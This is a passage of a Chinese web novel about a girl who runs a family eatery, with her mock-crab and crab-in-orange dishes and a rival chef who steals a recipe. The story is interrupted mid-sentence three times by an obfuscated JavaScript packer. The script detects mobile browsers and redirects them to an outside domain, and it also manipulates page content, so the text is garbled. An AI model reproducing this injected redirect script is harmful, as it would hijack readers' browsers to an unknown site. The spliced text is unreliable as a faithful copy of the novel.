准备好月饼已是卢记食堂开业这天的傍晚，元大爷陪着将一个个月饼包装好，一盒盒装上车，又目送马车离开，才松了口气。 到了第二日，各处的点心铺子里都摆上了月饼，大户人家早已提前定制，这铺子里的月饼是卖与寻常百姓的。 卢晓晓忙着做菜，便让卢二郎到知味斋买做好的月饼，晚上赏月的时候吃。 今日中秋，中秋食蟹，可螃蟹不是人人都能吃着的，卢晓晓便决定做一道鲜如螃蟹的赛螃蟹。 赛螃蟹以鸡蛋、鱼肉、咸鸭蛋做成，先将几个鸡蛋打入碗中，蛋黄与蛋清分离作为蟹黄和蟹肉的底液。 鱼肉去骨洗净切成三分长牙签粗细的小条，加入酒、盐、味精腌制调味后，掺入蛋清之中。做赛螃蟹最好的是海鱼，海鱼价高，卢晓晓便寻来刺少肉多的鲈鱼。 然后将咸蛋黄和蛋白分离，蛋白切成与鱼肉一般大小的细条，掺入蛋清，咸蛋黄碾碎加入蛋黄中。 在锅中放少量凉开水，倒入鸡蛋清，小火滑炒，略微凝固后便起锅盛入碗中，又将蛋黄倒入锅中，小火翻炒，蛋黄凝固后起锅盛入另一个碗中。 然后调制蟹醋，生姜、大蒜擦成茸，加入少许酱油、味精、糖，再加入陈醋，最后以加入水调咸淡。 最后装盘，以蛋白铺底，中间放上一勺蛋黄，最后淋上一小勺蟹醋，香喷喷的塞螃蟹就做好了。 用勺子舀上一勺送入口中，好似吃到了新鲜螃蟹，蛋黄的细腻沙软宛如蟹黄，水润滑嫩的蛋白包裹着的鱼肉和咸蛋白，像是蟹肉的纤维，再有蟹醋增鲜，真是以假乱真。 卢晓晓将做好的一份份赛螃蟹摆在快餐档口中，午食的时候大声吆喝道，“赛螃蟹，好吃美味的赛螃蟹，不卖只送，中秋限定，单人消费满二十文，送赛螃蟹一份。” “小娘子，何为赛螃蟹？”一客人问道。 “不是螃蟹却味如螃蟹，故称赛螃蟹。”卢晓晓回道。 “小娘子说笑了，这螃蟹的鲜味岂是他物能仿出来的？”望着外观与蟹黄蟹肉极像的赛螃蟹，客人仍是不敢相信。 “公子不如在店里花上二十文钱，自己品一品。”卢晓晓道。 没等这人做好决定，客人中便传来了惊叹声，“哇，这真有螃蟹的味道！” “小娘子真是好手艺，能否借一步说话。”熟悉的声音传来，卢晓晓抬头一看，是许久未见的元三郎。 37. 莲藕圆子 “元三爷，好些天没见您了，可要吃些什么？”卢晓晓擦了擦手，从档口里出来。 “先要恭喜小娘子了，我刚回到镇上就听说了卢记食坊的炙鸭外酥里嫩，好吃的很。”元三爷笑道。 “都是客人们抬爱了，元三爷可要尝尝？这炙鸭卷卖的可好了。” “说完就走，便不尝了，今日过来是想问问，三十那日要与几个同僚吃饭，约摸戌时到，铺里可能安排？”元三郎道。 “往日里承蒙您的照顾，您说的定是要安排的。那日要来几人？店里可还能留客？菜有什么要求？”卢晓晓细问道。 “约摸八九人的样子，没什么忌口的，最好是没别的客人了，要两只烤鸭，其他菜小娘子看着安排，就按一两银子置办。” “成，那我这几日写下菜单后，再给您过目。” “我一会便回县里了，到三十那日才回来，小娘子直接安排就是了。”元三郎又道。 “您这往后可是要回县里，不在镇衙当差了？”卢晓晓颇有些遗憾，与元三郎相熟，她在这开铺子都便宜不少，有道是衙门有人好办事。 “家人给在县衙里找了差事，往后便在县里了。今日走得匆忙，只等三十那日再好好感谢同僚们，那日来的人中，就有管这街上治安的何衙差，到时候帮你引荐一二。”元三郎自然知道衙门里有熟人的重要性，要不然，元家也不会把他安排到衙门里。 原先县里没人脉，只能安排到镇衙中，如今借着蛋黄莲蓉月饼的风，竟在县里寻到了差事。 “恭喜三爷了，在县里当差，回家也多方便。你放心，三十那日定会安排得妥妥当当。”卢晓晓欣然应承道。 送走了元三郎，回到档口。 卢二娘子等了好一会了，“晓晓，你可算回来了，好些人问还有没有赛螃蟹卖了？” “有的有的，我这就去炒，食材都准备好了，片刻就好。”说罢，赶忙去炒赛螃蟹了。做生意就是如此，有人需求就要赶紧做出来。 到了晚食，店里的客人寥寥。今日过节，人多是在家做，或是使闲汉来买回家中。过了辰时，卢记食坊便打了烊。 秋吃莲藕，越吃越有。莲藕藕断丝连，又有团圆之意，卢晓晓今日打算做道莲藕圆子，寓意团团圆圆。 选上好的猪前腿肉，三分瘦肉七分肥肉，剁成肉馅。肉不能剁太细，讲究细切粗斩。将洗净的莲藕切片，再剁成颗粒，然后将莲藕末与肉沫混合，继续剁，直到瘦肉、肥肉、莲藕完全混合。 往剁好的肉馅中加入鸡蛋液、盐、味精，再少量多次加入葱姜水，充分搅拌上劲，搅到肉馅有粘性，然后用手抓起一团肉馅，在两手间反复摔打，直到团成球状。 在盘子在放入清水，加入少量酱油，几片生姜，再将团好的莲藕圆子间隙的码入盘子中，上锅蒸上一刻钟。 起锅热油，加入麻椒、香叶、八角等香料煸香，香味出来后，便起锅淋到蒸好的莲藕圆子上。 蒸出来的莲藕圆子鲜嫩可口，嫩滑爽脆，清爽不腻，与中秋家宴的大鱼大肉最是相配。 莲藕圆子做法简单，加上炙鸭，鸭汤，赛螃蟹，再炒上一盘青菜，不出半个时辰，丰富的中秋家宴就做好了。 卢大郎回了家，一家人聚在院子里，听着街上传来的喧嚣声，看着天空中升起的大如银盘的圆月，吃着美味的鱼肉，真是有滋有味。 “真好呀，天天都有这样多好吃的，真是做梦都想不到。”卢二郎满足道，又吃了一口莲藕圆子，感受清脆的莲藕和鲜香的猪肉在口中交织出的美味。 “大郎也要成亲了，原还担心他在书肆里干活，每日不得回家，要等上几年才好说亲，没想到我们竟是搬来了镇上。”卢二娘子感慨道。 “大哥的这桩婚事也是缘分，这两日杏花姐姐来店里帮了不少忙，要不是她，咱也没那么轻松。”卢晓晓夸道。 “我看她也是个好孩子，怕是为了避嫌，从来不往灶上凑，都在大堂里招呼客人，引座、点菜、上菜、收拾，样样干得是又快又好，客人少时便去院子里洗碗，把你爹的活都干完了。”卢二娘子说完，嗔了卢大贵一眼。 “这两日，铺子里的活咱也算理清了，店里的安排还要调一调，原先的安排里缺了采买，做菜的也只我一个，来了事也没人替换。”既然说到干活，卢晓晓就想再理一理铺子里的安排。 “晓晓可有什么想法？”卢大贵道。 “我想着，这采买便交给爹，等过几日摸清了铺子需要的肉量，就跟卖鸭、卖肉的铺子和人家定好价格和供货量，爹每日去取货便好。至于这做菜的……”卢晓晓停了停，目光转了一圈，最后停在了大快朵颐的卢二郎身上。 众人的视线也跟着看向了卢二郎。 卢二郎这才后知后觉的抬头回看众人，满脸疑惑道，“我吗？” “嗯嗯，二哥，就是你，咱家数你最会吃了，会吃就会做，会吃的人都有些厨艺天份在身上的。”卢晓晓连连点头道。 卢二郎瞪大了眼，这样的理由妹妹竟说得出口，他连切菜都切不利落呢！ 卢二郎不甘地看向卢大郎。 “方掌柜知道咱家开了吃食铺子，有意收我为徒，教我管铺子呢！”书肆的东家有意安排方掌柜明年到别处管铺子，城关镇上的流水比较稳定，人口也不多，换个人来守成便好了。 卢二郎又望向卢三郎，哦，这个不行，三郎得考功名。 接着又转向卢二娘子，哦，娘也不行，娘的手艺怕是把客人都赶光了。 “那大嫂？”卢二郎又不死心的问道。 “大嫂往后就在前头招呼客人，娘刚还夸她做得好呢！”赵杏花模样好，办事爽利，是最适合招呼客人的。 “那就这么定了，二郎往后就好好跟着妹妹学厨艺。”卢大贵道。这厨艺怎么能随便教了外人呢，赵杏花还没通过考核呢！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14093019|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老大学经营，老二学厨艺，这样的安排正好，各有所长，往后兄弟俩就能齐心协力地把吃食铺子经营下去。 “二哥，等你厨艺练好了，把做菜的活接了过去，咱俩的分成对半分，你也想多攒些钱吧？”美食和钱都是卢二郎的最爱，卢晓晓对卢二郎了解得透透的。 开铺子后，盈利的分成根据各人干的活改了。如今是卢晓晓五成，卢家三兄弟各一成，卢大贵夫妇一成，卢二伯家一成。卢大郎算的是赵杏花的工作，卢二伯家那一成是卢大贵夫妇让了利。 “那可说好了，我若是学得慢，你不许说我笨。” “二哥，你最聪明了，放心吧，我肯定不会说你笨，只会说你懒。” “晓晓放心，往后我们都一块盯着二郎，肯定不叫他偷懒。吃完饭就练起来，我记得是得练刀工吧？”卢二娘子笑道。 “娘，好歹教我舒坦的过了这个中秋。”卢二郎哀嚎道。 大家都笑了起来。 第二日，到了卢大娘子要请客的日子，卢记食坊辰时便打了烊，一家人乘着骡子车回了村。 卢晓晓到卢二伯家帮忙，卢大贵父子几人就趁着天未黑，去地里看了看种的粮，再过几日便要秋收了。 卢二娘子则回家看种下的辣椒秧子，这可是卢晓晓最看重的，托了卢春芬每日浇水。 卢晓晓要做的不多，只需要炒个赛螃蟹，把带来的烤鸭片好，用鸭架炸个椒盐鸭架，再做个鸭汤，食材和调料都是从铺子里带过来的，做起来又快又方便。 很快就置办出了两大桌吃食，一桌是卢大富一家和里正一家，另一桌是卢大贵和里正二房一家。 老里正夫妇两最喜欢的是赛螃蟹，鲜香嫩滑，不费牙，对卢晓晓好一顿夸。 杜子柏也说卢记食坊如今在学堂里是如何地受欢迎，馋得杜子松直央着里正娘子带他去镇上。 一顿饭吃得是宾主尽欢。 吃完饭，卢大贵一家帮忙收拾了一番，才往老宅子走去。 忽听后方的村道上传来驾车的声音。 “老丈，请问杜有财家怎么走？我来帮杜家女儿带几句话。”驾车的年轻人问道。 “就在前头，我上车给你指路吧，可是有什么急事？”卢大贵道。 “那谢谢老丈了。”年轻人没有多说，等卢大贵上车后，又把车子赶得跑了起来。 等卢晓晓几人走到杜家门口，正好见到刚才的年轻人从院里出来，只听杜家堂屋里传来张大娘的哭嚎声，“我的儿啊，你怎么这么命苦啊！” 对方见卢晓晓几人，下意识地点了点头，打了个招呼，便驾着车离开了杜家村。 张大娘的哭声还在继续，卢晓晓几人不便在人院门口前多留，赶紧回了自家院里，卢大贵已在家中。 “爹，隔壁杜家怎么了？”卢晓晓忍不住问道。 “我在家听得也不分明，好像是春花的男人出去跑货出了事。” 38. 桂花蜜酱 卢晓晓不由说一句世事无常。春花她男人外出前，小夫妻两还回了娘家一趟，张大娘喜滋滋的拿了钱过来让做了条酸菜鱼。 “我苦命的女儿啊，你这年轻轻的守了寡，往后可怎么过呀！”张大娘的哭声隐隐约约地传来。 “怎么会这样？我还记得那是多好的一孩子，往日来了见着我，也会热络的叫婶子。”卢二娘子唏嘘道。 “春花是有两个娃儿？往后这一个人带着两个娃儿，怕是不容易。”卢大贵道。 说话间，院门外传来呼声，“婶子、晓晓，在家吗？” 许是听到外边有人，张大娘的哭声小了些。 卢晓晓起身去开门，闻到一股浓郁的桂花香。金秋十月桂花飘香，如今县里镇上的桂花还未开，不知哪儿来的桂花香。 “云霞姐，怎么过来了？”走到赵云霞面前，花香味儿更浓了。 “晓晓，我在山里寻了些桂花，你看能不能用着？”山里气温低，桂花的花期比外头要早了半个月。 卢晓晓一听，高兴极了，桂花好呀，桂花糕、桂花茶、桂花蜜酱、桂花酒，能做好多吃食呢。 赵云霞解下背篓，里面是一小框的桂花，还有一串深紫色的山葡萄。 “还有串山葡萄？”卢晓晓一下子想到了葡萄酒、葡萄干。 “也是在山里找的，熟的不多，拿一串来让你们尝尝。”赵云霞质朴的笑道。 “山葡萄可多？”卢晓晓尝了一颗，野生的葡萄果小，口味偏酸，但盛在葡萄味儿浓。 “没熟的葡萄挺多的，成熟的倒不多，长在山里，都叫虫鸟吃了。”赵云霞道。 卢晓晓只觉得可惜，但又想了想，这也是挺正常的，现代种葡萄还要套袋呢。 “云霞姐，这些桂花我都要了，这半框按二十文算可行？往后再有便与酸枣一起。”这小半框的鲜桂花，连花带梗，约摸有一斤的量。 “能行能行。”山里的桂花不少，说不定她们娘俩的冬衣和新棉被就有着落了。 这世道，女人带着孩子生活有多难，看赵云霞便知道了。 第二天一早，卢家人就回到了镇上，开门、和面、做饼、调馅，好不忙碌。 卢晓晓趁上午清闲的时候，将收来的桂花的花朵摘下，去除花梗，再放入清水中，加少许盐，洗净杂质和灰尘，只用手轻轻拨弄便好，尽量不要破坏花朵的形状，然后捞起放到簸箕中风干。 再寻出一个碗大的小陶罐洗净，晾干水分，确保陶罐里无水无油后，将风干的桂花，一层糖一层桂花的码入陶罐中，然后隔水蒸上一刻钟，蒸到糖粒融化，桂花香融入糖中。起锅放凉后就成了粘稠的桂花蜜酱，再寻出几个小罐子封装。 这蒸出来的桂花蜜酱，清甜可口，花香浓郁，桂花的形状得到了最大限度的保存，既可以给糕点、蜜饯、甜羹等糕饼和点心增香添味，也可以给菜肴调味，色美味香。 把桂花蜜酱做好，卢晓晓便要做今日午食要卖的菜品了，有果木炙鸭、红烧肉、赛螃蟹、干锅兔肉，还有拌凉皮和炝藕片。 这会儿未到饭点，卢二郎不用在巷口吆喝，卢晓晓便把卢二郎叫到了灶前打下手。 对着卢二郎，卢晓晓是怎么好用怎么使，把卢二郎使唤得是哇哇叫，乐得卢二娘子直说好，就该好好的叫他踏实干活。 因要教授卢二郎厨艺，卢晓晓做吃食还比往日里慢了些，赶在午食饭点前将将做好，等把菜分好摆放到档口里，店里已有了好几个客人。 其中一位身着绸布衣裳的中年人等了好一会儿了，见饭菜摆上来，其它什么都没拿，就只拿了份赛螃蟹，在位置上细细的品尝。 吃完后也不走，就在铺子里坐着，赵杏花给添了两回水，也不见他起身离开。 等到饭点过了，客人少了，赵杏花便上前问那人有何事，那人只说要见一见这做赛螃蟹的厨子。 等卢晓晓从档口里出来，言明自己便是做这些菜的厨娘。 来人没成想能做出这些菜的竟是个十余岁的小丫头，不由得在心中啧啧称奇，但表面却不动声色的道明了来意。 原来这人是镇上宋府的管家，再过十日便是宋府老太太的生辰，今年是老太太的六十大寿，想要大办一场，老太太又喜吃蟹，但螃蟹寒凉，不宜多食，宋家老爷听说这卢记食堂能做出鲜如螃蟹的赛螃蟹，便使管事来看一看，若真有本事，便请到府中试菜。 宋老爷自是听宋家少爷宋连玉说的，如今卢记开了店铺，不再是路边摊子，也不用藏着掖着了。 卢晓晓一口答应了，宋府是城关镇上一等一的大户人家，若是能在宋府老太太的六十大寿上做上一道菜，她这卢记食坊的可就不一样了。 宋家管事来找卢晓晓试的自然不是整桌席面，只是其中的一道螃蟹，老太太不能吃蟹，旁人还是要吃的。 平日里宋府大宴都是请了醉香楼的大师傅来做的，清蒸大螃蟹是醉香楼一绝，蟹肉鲜嫩香甜，蟹黄蟹膏绵密醇厚。可再好吃的菜，也有吃腻的时候。 宋家管事与卢晓晓定好三日后中午到宋府试菜。午食卖的菜品里红烧肉是提前做好的，炙鸭卢二娘子能看火候，酸菜鱼卢春芬是会做的，凉皮的料汁能提前调好，只要卢二郎学会片鸭，卢记食坊的生意便不会被耽误了。 定好了日子，宋管事又让人把消息送给醉香楼的大师傅，请他那日来点评下。 醉香楼是镇上最好的酒楼，大师傅姓李，是家里祖传的手艺，听说宋家有意让个街边小铺的厨娘做的赛螃蟹替换了他做的清蒸大螃蟹，好不生气。 “什么赛螃蟹，我看就是雕虫小技，一个小丫头片子，我做过的螃蟹比她吃过的饭都多，就敢在这班门弄斧，三日后，我定要叫她知道什么是天高地厚！” “师父，我去打听了下，好些吃过的人都说味道赛过螃蟹，这鱼肉和鸡蛋真能炒出螃蟹的味道吗？” “笑话，不过是些没吃过螃蟹，没见过世面的乡下人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14100050|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传出来的。” 说到这，李师傅想了想，又嘱咐了徒弟几句，只等三日后看卢晓晓的洋相。 卢晓晓还不知有人正虎视眈眈地准备在三日后的试菜中给她点厉害瞧瞧。她正在指点卢二郎练刀工呢！ 过了晚食，卢记食坊的客人少了，卢晓晓便开始教卢二郎刀工。先是教握刀姿势，再说刀工技巧，然后又一一展示直切、推切、跳切、推拉切、滚刀切等各式刀法。 等卢二郎熟悉了握刀姿势，便正是教其片鸭，白日里卢晓晓片鸭的时候，已让卢二郎看了不少。 晚上自家吃的烤鸭，便叫卢二郎上手试试了。先将鸭头割下，左手把住鸭身，使其斜立于案板，鸭脯朝上，在鸭脯前胸突出部分斜片出刀口，然后左右胸交替片出鸭肉，片至锁骨处，将其切开向前掀起，再顺序片下鸭翅膀肉和鸭腿肉，直至将一整只烤鸭片出一百零八片的鸭肉。 卢二郎第一次片鸭，最初时方向和手感掌握不好，片出的鸭肉片薄厚不均，鸭肉有多有少，等到了最后却初具模样了。 宋府试菜，要提前想好做什么菜，一说大闸蟹，立刻想到的便是清蒸大闸蟹，可这是宋府常吃的，卢晓晓不觉得自己的手艺能胜过醉香楼，那便唯有靠新取胜了。 卢晓晓先是请教了江大爷螃蟹的做法，又通过宋家小哥向宋三少爷打探吃过的螃蟹。宋人喜吃蟹，常见的螃蟹做法有清蒸、糟制、生腌、盐渍、油焖。 宋朝人追求文雅，螃蟹讲究文吃，以蟹八件为工具，将蟹肉蟹膏蟹黄取出后，再用匙羹送入口中，让蟹肉的鲜美和蟹黄蟹膏的醇美在口中交织迸发。 想到这，卢晓晓想到了一种极其文雅的吃法，提前备好了要用的辅材，只等试菜那日的到来。 到了二十这日，卢晓晓挎着准备好的食材，早早地到了宋府的侧门，跟守门的婆子说是卢记食坊来试菜的，不一会儿便来了个小厮，七拐八绕地将卢晓晓领到了厨房。 这厨房看着不大，应该不是府里的大厨房，元管事和一名圆头大耳的中年人正在里头等着。 卢晓晓与两人见过礼，元管事没说什么，只让卢晓晓等着。不一会儿，小厮领进来了两个中年人和一个婆子。 元管事这才开口介绍各人的身份。 圆头大耳与元管事站在一处的是醉香楼的李师傅，负责大寿那日的席面，席上的螃蟹做法是要经过他同意的。 小厮领进来的三人，一人是清风楼的何师傅，另一人是聚贤楼的张师傅，这两家都是镇上有名的酒楼，婆子则是糟货铺的。 元管事最后才介绍卢晓晓是卢记食坊的厨娘，几人应是没听过卢记食坊，又见卢晓晓年岁小，不免多看了两眼，眼神中充满了不屑。 介绍完来的人，元管事便宣布几人可以选蟹做吃食了，何、张两位师傅借着自己身高体胖的体型优势，直接抢在了前面，卢晓晓只得等他们选完再选。 醉香楼的李师傅看到这一幕，微不可查的笑了笑。 39. 蟹酿橙 等到卢晓晓挑选的时候，盆里剩了两大两小的四只螃蟹，均是母蟹。 螃蟹分品级，母蟹三两，公蟹四两为一品蟹，母蟹四两，公蟹六两为特品蟹。这剩下的四只螃蟹中，大的看着足四两重，小的不足三两。 卢晓晓细细看了四只螃蟹，大的两只螃蟹腹部略微泛青，虽还吐泡泡，但轻敲蟹壳，眼睛已不灵活，小的两只腹部雪白，眼珠灵活，很是鲜活。卢晓晓便取了两只小的螃蟹。 看到这，李师傅的脸色变了变，原想着这小娘子见过的世面不多，特地找了宋府的采买，混入了两只个头大但不鲜活的螃蟹，只等着这小娘子眼皮子浅把大螃蟹挑了去，没成想她竟没上套。 不过也无事，今日来的几位都是在镇上做螃蟹有一手的大厨，何师傅的醉蟹，张师傅的油焖蟹，方婆子的糟螃蟹，都是镇上的老手艺了。 卢晓晓将螃蟹取来后，将螃蟹洗净，准备好葱姜蒜，又将做赛螃蟹的鱼肉、蛋清、蛋白、咸鸭蛋备好，才起锅烧水，将螃蟹置于盘中，摆上葱姜蒜，水开后，将盘子置于蒸笼中。 不自量力，李师傅心想，竟敢在他面前做清蒸大闸蟹，果然是不入流的野厨子，眼神中不□□露出了轻蔑。 卢晓晓没注意到这些，她正全身心的沉浸在做菜之中。 只见她从带来的篮子中拿出了三个饱满圆润金灿灿的橙子，用水洗净后，用刀将橙子的顶部刻下顶盖，然后用刀将橙肉挖出，橙子中留下少量橙肉。又寻了宋管事要来一套蟹八件，将蒸好的蟹肉蟹黄小心的取出，保留蟹壳的完整。 卢晓晓的一系列操作吸引了宋管事的注意，不禁问道，“李师傅，可能看出这小娘子的螃蟹是何做法？” “闻所未闻，见所未见，应是打算以橙做器皿。真是胡闹，硬把两样秋食之物合在一起，成何体统！” 然后见卢晓晓起锅加入少量猪油，放入葱白、姜片，煸出香味后捞出，将蟹肉蟹黄倒入锅中，加入料酒、玉米粉、盐、味精等调制而成的料汁，再加入橙肉橙汁，小火翻炒，炒熟后分酿于挖空的橙子中。 卢晓晓这次做的是蟹酿橙，始于南宋，传承百年的国宴名菜。 盖上顶盖，放上蒸笼中蒸上半刻钟后起锅。揭开蒸笼盖，清雅的橙香扑鼻而来，只见圆润的橙子在盘子里冒着热气，黄橙橙热腾腾，特别讨喜。酸甜清雅，精致鲜美的蟹酿橙便做好了。 卢晓晓又赶紧将赛螃蟹炒好，一勺蛋白一勺蛋黄的盛入盘中，再盖上蟹壳，摆上蟹腿，又将蟹酿橙摆在盘子另一边，再用萝卜削成一朵花，摆在盘中。 等卢晓晓做好，其他人也准备好了。 方婆子是从自家铺子里带来的糟螃蟹，取一无水无油的瓦缸，以糟卤铺底，把螃蟹洗净放入，加入盐、酒、醋调味，再以黄泥封口，糟制七日可食用。糟螃蟹多用母蟹，方婆子今日带来的便是两只约摸三两重的母蟹。 何师傅做的果然是拿手的醉蟹，将米酒、香料、盐调制成汁，再将蒸熟的螃蟹浸于料汁中，腌制入味。腌制螃蟹时将足尖剪去，脐儿剔除，再将背壳轻轻掀开，这样螃蟹才能快速入味。醉蟹口味咸鲜适中，芳香无腥，蟹味浓郁，口味鲜美。 张师傅做的是油焖大闸蟹，这样的做法咸鲜可口，滋味丰盈。将大闸蟹对半斩成块，以淀粉糊口，下油锅炸至变色后捞起，留底油加入葱姜，煸炒出香味，倒入螃蟹块，再加入秘制的油焖酱，大火翻炒，将酱料翻炒均匀后，然后小火焖煮上半刻钟。做出来的油焖蟹喷香扑鼻，卢晓晓都忍不住深吸了口气。 各人介绍了自己做的螃蟹，又各自分出了三份，一份留给了厨房里的李师傅，另两份则被送到了膳厅，膳厅里宋老爷和宋夫人正在里头等着。 最先上的是方婆子带的糟螃蟹，螃蟹被对切成两半，糟制后的蟹黄色泽金黄，近闻有酒糟独特的香气，用小勺将蟹肉蟹黄挖出送入口中，蟹香交织着糟香在口中回甘。香！宋老爷又接着挖了几勺，把蟹肉吃尽。 那头，宋夫人已经在丫鬟的服侍下漱了口，净了手，开始试醉蟹了。醉蟹以酒腌制，与糟制的不同，醉蟹以酒激发出蟹的鲜甜，蟹味浓郁中带着酒的清香。香！宋老爷很是满意。 到了油焖大闸蟹，宋夫人擦了擦手，看到油光锃亮的油焖蟹蹙了蹙眉，想了又想，才伸手拿起一块螃蟹，小小的咬了一口。 这踟蹰间，宋老爷把醉蟹吃完了，顺手拿起一块油焖蟹，直接上嘴啃，油焖蟹鲜香扑鼻，蟹肉吸满了料汁。太香了，宋老爷都想叫小厮上米饭了。 厨房这边，李师傅也开始试吃各个师傅做的螃蟹，他最感兴趣的是卢晓晓做的蟹酿橙，但若是最先吃蟹酿橙，便是抬举了卢晓晓。 李师傅耐下性子，尝了糟螃蟹，又尝了醉蟹，这两道菜，香是香，可不适合老人、孩子。又尝了油焖蟹，啧，怪不得这些人这么些年都比不过他，这也太上不得台面了，谁家太太小姐会在公众场合吃这个呀。 终于吃到了卢晓晓做的赛螃蟹和蟹酿橙，掀开螃蟹壳，是金黄似蟹黄，雪白似蟹肉的赛螃蟹，舀一口送入口中，李师傅一滞，有螃蟹的味，虽说没有像足十成，但也有六七成。 李师傅敛了敛神，又揭开橙子顶盖，橙香扑鼻而来，取一新勺，尝一口蟹肉，螃蟹的鲜香融入了橙子的酸甜，丰富了螃蟹的口味和层次。 妙！螃蟹和橙子的搭配太妙了！不仅味好，就连这摆盘也胜过另外几道，一下子高下立判。 不可能，这样妙的菜不可能是个乡野小丫头想出来的，这一定有蹊跷，李师傅如是想。 又说膳厅里的宋老爷和宋夫人，宋老爷是越吃越开心，宋夫人的眉头是越夹越紧，这样做出来的螃蟹，如何能放在席面中？真是不如李师傅的清蒸大闸蟹。 最后一道，丫鬟将卢晓晓做的螃蟹端了上来，红通通的蟹壳和黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14115293|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澄澄的橙子让人眼前一亮，丫鬟接着介绍道，“这是最后一位师傅做的赛螃蟹和蟹酿橙。” “咦，这是连玉说的赛螃蟹？”宋夫人一边问一边取勺子。这一回，她终于不需要直接上手抓螃蟹了。 “对，这就是连玉给老太太说的赛螃蟹，这蟹酿橙倒是没听过。”宋老爷说道，说话间尝了口蟹酿橙，鲜、甜、香，口中的味道一层盖过一层，似是将味蕾激活了，螃蟹竟能做出这样丰富的味道。 宋夫人则是尝了口赛螃蟹，道，“不错，很有蟹的口感和鲜味，这是用鱼肉和鸡蛋做的？好像还放了咸鸭蛋。老太太肯定喜欢。” “夫人，你快尝尝这蟹酿橙，这味道太妙了，样子也别致，定能让来客们惊喜。”宋老爷满意极了。 他自己是更喜欢油焖蟹的，可这宴席嘛，形式和外观还是很重要的，要不然为什么每回吃清蒸大闸蟹的时候都要用蟹八件轻锤慢挑，暗自比谁吃完后的蟹壳更完整。 宋夫人尝了口蟹酿橙，没说话，紧接着又多吃了几口，等橙子里的蟹肉空了，才停下来用帕子擦了擦嘴。 这蟹酿橙酸酸甜甜的，真是太合口味了。 “李师傅可说了什么？”宋夫人问道。 “回夫人，李师傅说全凭老爷夫人的吩咐，这几道螃蟹各有千秋，要他说就选卢记小娘子的赛螃蟹和蟹酿橙。”李师傅也是聪明人，不会在胜负已分的情况下硬要把赖的说成好的，好的说成赖的。 “哟，做这个菜的，还是个小娘子呢！快叫她过来瞧瞧！”宋夫人惊叹道，还以为能创造出这新颖菜式的厨子，是掌厨多年的大师傅呢。 等丫鬟把消息带到小厨房，宋管事便给来做螃蟹的几位厨子一人封了个大红封，便请人离开了。 然后又领着卢晓晓往别处去，行走间，视野是越来越开阔，景观是越来越精致。看着这宅子里的景观布局，卢晓晓知道，这蟹酿橙定会叫宋老爷宋夫人满意。 到了膳厅，只见衣着绸缎衣裳的两人坐在屋里，男的身材微胖，女的端庄温婉。 “竟是这样小的姑娘，看着比咱家明月还小。”宋夫人对宋老爷道。 接着又对卢晓晓道，“小姑娘，多大了，这蟹酿橙是谁教你做的？” “回夫人的话，小女今年十三岁了，这蟹酿橙是自己想出来的，我听说大户人家吃螃蟹的时候，都会吃些甜橙解腻，就想着这要是做成一道菜，那定是极好。试了几回，才试出了今天的搭配。”卢晓晓虚报了一岁。 “小小年龄竟这样有想法，真是胜过好些酒楼的大厨，怪不道连玉那小子日日都不想吃家中的饭菜。” “今日是为府里老太太寿辰试的菜，寿辰那日要摆上十桌，你可做得了？” “回娘子的话，我还给人做过十桌的席面，这十桌的螃蟹做得来的。” 宋夫人又想了想，又道，“你可愿来府里做菜？” 41. 花甲蒸粉丝 “醉香楼的菜一两银子不是寻常嘛！老江，你这就是瞎咋呼！”一人道。 “就是，不说别的，那清蒸大闸蟹不也要一两银子？”另一人道。 “你们知道什么，清蒸大闸蟹一两银子卖的是一对儿的特品蟹，蟹酿橙卖的可只是一个。” “好家伙，竟这样贵！老江，你肯定是尝了，快给我们说说。”有人迫不及待地问道。 “这蟹酿橙呀，乍一看就是个橙子，实则内里大有乾坤，盛着精心烹制的蟹肉蟹黄呢！这味道嘛，橙子的甜香和螃蟹的鲜香合到一起，真是绝了！”江大爷夸道。 “醉香楼的大师傅可真会想呐，咋连螃蟹味都没摸清，人竟能想到跟橙子一道蒸了。”有人咋舌道。 “那可不，那醉香楼的大师傅做过多少螃蟹了，我看只有他能想出这样的做法。” “你们不知道吧，我媳妇的二舅母在宋府帮厨，听说宋家老太太寿辰那日，就做了这道蟹酿橙，那些太太小姐一个劲夸呢，喜得宋老太太给醉香楼的李师傅打了二十两的赏银！”又有一人道。 “哟，那这醉香楼生意该有多好呀！” “那等子烂心肠的人，竟偷了人的东西当自己的。”听到这，在档口的卢二郎忍不住骂道。 “哥，哥，哥。”卢晓晓叠声唤道，卢二娘子赶忙把人拉去了后院。 “卢小哥这是骂谁人呐？”有老客问道。 “无事，无事，前几日有人把我们乡下地里的菜摘了，我哥气着呢，想是又想到了。”卢晓晓解释道。 